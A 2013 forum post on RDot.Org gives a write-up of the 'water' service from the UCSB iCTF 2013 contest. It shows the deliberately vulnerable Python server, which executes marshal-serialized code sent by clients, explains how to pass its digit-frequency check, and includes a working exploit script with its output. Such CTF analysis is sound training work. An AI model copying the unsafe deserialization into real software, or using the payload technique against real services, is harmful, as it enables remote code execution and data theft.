Старый 23.03.2013, 22:41   #1
Beched
 
Регистрация: 06.07.2010
Сообщений: 379
Репутация: 118
По умолчанию UCSB iCTF 2013 write-up

RDot.Org team hasn't managed to approve its affiliation with any academic institution in time, so, it hasn't participated in iCTF event. It has been attack-defence CTF with a bit strange system (teams had to post their exploits to the central system, which retrieved the flags from other participants. If exploit failed, there was no debug information) and a lot of network failures.
However, we've taken a look at some services. Here's a write-up on one of them, called "water".

Challenge consists of two python scripts:
1) WaterSystemServer.py
Код:
#!/usr/bin/env python

from socket import *
from MeasurementLib import *
import base64
import marshal
import thread
import types

flag = 'ololo' #This is supposed to be our flag
cookie = None
flag_id = None #This is a backdoor for the checking system

measurements = set([])

def connection_handler(clientsock,addr):
  try:
    clientsock.send("Welcome back. Please insert your measurement\n:")
    data = clientsock.recv(BUFSIZ)
    if not data: return
    r = calculate(data)
    if not r:
      if int(data.split(',')[-1]) == flag_id:
	clientsock.send("%s\n"%flag)
      clientsock.close()
    else:  
      if data in measurements:
	clientsock.send("Thanks, but we have already seen this measurement\n")
	clientsock.close()
      else:
	measurements.add(data)
	clientsock.send("Floods ahead! Please enter your command\n:")
	data = clientsock.recv(BUFSIZ)
	types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
	clientsock.close()
  except Exception as e: print e
  return

if __name__ == "__main__":
  
  HOST = "0.0.0.0"
  PORT = 3333
  BUFSIZ = 1024
  ADDR = (HOST, PORT)
  serversock = socket(AF_INET, SOCK_STREAM)
  serversock.bind(ADDR)
  serversock.listen(2)

  while True:
    clientsock, addr = serversock.accept()
    thread.start_new_thread(connection_handler, (clientsock, addr))
  serversock.close()
2) MeasurementLib.py
Код:
import math

def calculate(sequence):
  m = []
  for i in range(1,10):
    m.append(math.log10(1+1.0/i))

  nums = [x[0] for x in sequence.split(",")]

  o = {}

  for num in nums:
    if num in o:
      o[num] += 1
    else:
      o[num] = 1
  
  if len(o) != 9: return False

  else:
    for d in sorted(o):
      if not (float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05 and float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05):
	return False
  return True
First of all, we should somehow bypass this check:
Код:
    r = calculate(data)
    if not r:
What does calculate() do? It simply checks whether the frequency of occurrence of each symbol is in some interval.
Let's find the centers of these intervals:
Код:
>>> for i in range(1,10):
...     m.append(math.log10(1+1.0/i))
... 
>>> m
[0.3010299956639812, 0.17609125905568124, 0.12493873660829992, 0.09691001300805642, 0.07918124604762482, 0.06694678963061322, 0.05799194697768673, 0.05115252244738129, 0.04575749056067514]
>>> sum(m)
1.0
So, the task is to send about ~5% of "0" bytes, ~30% of "1" bytes, ~18% of "2" bytes, and so forth.
If such a set has been already posted to the daemon, we can a bit adjust the coefficients, still not breaking the bounds of intervals.
Once we've bypassed this check, the next step is to get the flag. We've got this line:
Код:
types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
It deserializes marshal-serialized function code and applies the obtained function to the variable cliensock.
So, we can serialize the code, which sends us a flag:
Код:
>>> x = lambda c: c.send( globals()[ 'flag' ] )
>>> p2 = marshal.dumps( x.__code__ ).encode( 'base64' ).replace( '\n', '' )
>>> p2
'YwEAAAABAAAAAwAAAEMAAABzFAAAAHwAAGoAAHQBAIMAAGQBABmDAQBTKAIAAABOdAQAAABmbGFnKAIAAAB0BAAAAHNlbmR0BwAAAGdsb2JhbHMoAQAAAHQBAAAAYygAAAAAKAAAAABzBwAAADxzdGRpbj50CAAAADxsYW1iZGE+AQAAAHMAAAAA'
Actually, exploit needed to be writen in the special form to be checked by checking system.
But I haven't participated in CTF, so, here's the whole out-of-CTF exploit code (without checking system backdoor handling):
exp.py
Код:
#!/usr/bin/python
import socket, marshal

qs = [ 5, 30, 18, 12, 9, 8, 7, 6, 5 ]
x = lambda c: c.send( globals()[ 'flag' ] )
p2 = marshal.dumps( x.__code__ ).encode( 'base64' ).replace( '\n', '' )

def doit( m ):
    s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
    s.connect( ('localhost', 3333) )
    s.recv( 1024 )
    p1 = ''
    for i in xrange( 9 ):
        p1 += ('%s,' % i) * int( qs[ i ] * m )
    print 'Sending payload %s' % p1.rstrip( ',' )
    s.send( p1.rstrip( ',' ) + '\n' )
    ans = s.recv( 1024 )
    if 'have already' in ans:
        print 'We are not the first =( Trying again...'
        doit( int( m + 1 ) )
    print 'Ok, now sending payload %s' % p2
    s.send( p2 + '\n' )
    print 'W00t!\n%s' % s.recv( 1024 )

doit( 0.5 )
Launching an exploit:
Код:
$ python exp.py 
Sending payload 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,7,7,7,8,8
Ok, now sending payload YwEAAAABAAAAAwAAAEMAAABzFAAAAHwAAGoAAHQBAIMAAGQBABmDAQBTKAIAAABOdAQAAABmbGFnKAIAAAB0BAAAAHNlbmR0BwAAAGdsb2JhbHMoAQAAAHQBAAAAYygAAAAAKAAAAABzBgAAAGV4cC5weXQIAAAAPGxhbWJkYT4FAAAAcwAAAAA=
W00t!
ololo

Последний раз редактировалось Beched; 23.03.2013 в 23:13..
Beched вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot